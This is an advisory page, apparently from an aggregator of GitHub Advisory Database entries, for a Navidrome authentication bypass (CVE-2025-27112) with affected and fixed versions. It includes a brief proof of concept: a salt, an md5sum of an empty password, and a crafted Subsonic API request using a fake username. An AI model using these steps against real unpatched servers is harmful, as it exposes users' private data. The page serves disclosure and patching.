CVE-2025-27112: Navidrome allows an authentication bypass in Subsonic API with non-existent username
Summary In certain Subsonic API endpoints, authentication can be bypassed by using a non-existent username combined with an empty (salted) password hash. This allows read-only access to the server’s resources, though attempts at write operations fail with a “permission denied” error.
Published Feb 25, 2025
Affected packages
github.com/navidrome/navidrome
- Ecosystem
- Go
- Affected
- >= 0.52.0, < 0.54.5
- Fixed in
- 0.54.5
- Check
go list -m github.com/navidrome/navidrome
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
In certain Subsonic API endpoints, authentication can be bypassed by using a non-existent username combined with an empty (salted) password hash. This allows read-only access to the server’s resources, though attempts at write operations fail with a “permission denied” error.
Details
A flaw in the authentication check process allows an attacker to specify any arbitrary username that does not exist on the system, along with a salted hash of an empty password. Under these conditions, Navidrome treats the request as authenticated, granting access to various Subsonic endpoints without requiring valid credentials.
Proof of Concept (PoC)
- Generate a random salt:
// e.g., salt = "x1vbudn1m6d"
Math.random().toString(36).substring(2, 15)- Calculate the MD5 hash of an empty password plus the salt:
# Using the example salt above
echo -n "x1vbudn1m6d" | md5sum
81f0c0fb5d202ab0d012e6eaeb722d79 -- Send a request specifying a fake user, with the hash and salt values:
GET https://[host]/rest/getPlaylists?u=FakeUser&t=81f0c0fb5d202ab0d012e6eaeb722d79&s=x1vbudn1m6d&v=1.16.1&c=castafiore&f=jsonImpact
An attacker can use any non-existent username to bypass the authentication system and gain access to various read-only data in Navidrome, such as user playlists. However, any attempt to modify data fails due to insufficient permissions, limiting the impact to unauthorized viewing of information.
Credited to daniele-athome.
References
- https://github.com/navidrome/navidrome/security/advisories/GHSA-c3p4-vm8f-386p
- https://nvd.nist.gov/vuln/detail/CVE-2025-27112
- https://github.com/navidrome/navidrome/commit/09ae41a2da66264c60ef307882362d2e2d8d8b89
- https://github.com/navidrome/navidrome/commit/287079a9e409fb6b9708ca384d7daa7b5185c1a0
- https://github.com/advisories/GHSA-c3p4-vm8f-386p
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-25578
Navidrome has XSS via comment from song metadata
medium6.1Feb 4, 2026CVE-2026-25579
Navidrome affected by Denial of Service and disk exhaustion via oversized `size` parameter in `/rest/getCoverArt` and `/share/img/<token>` endpoints
critical9.2Feb 4, 2026CVE-2025-48948
Navidrome Transcoding Permission Bypass Vulnerability Report
high7.4May 29, 2025CVE-2025-48949
Navidrome allows SQL Injection via role parameter
high8.9May 29, 2025CVE-2024-56362
Navidrome Stores JWT Secret in Plaintext in navidrome.db
high7.1Dec 23, 2024CVE-2024-47062
Navidrome has Multiple SQL Injections and ORM Leak
critical8.8Sep 20, 2024
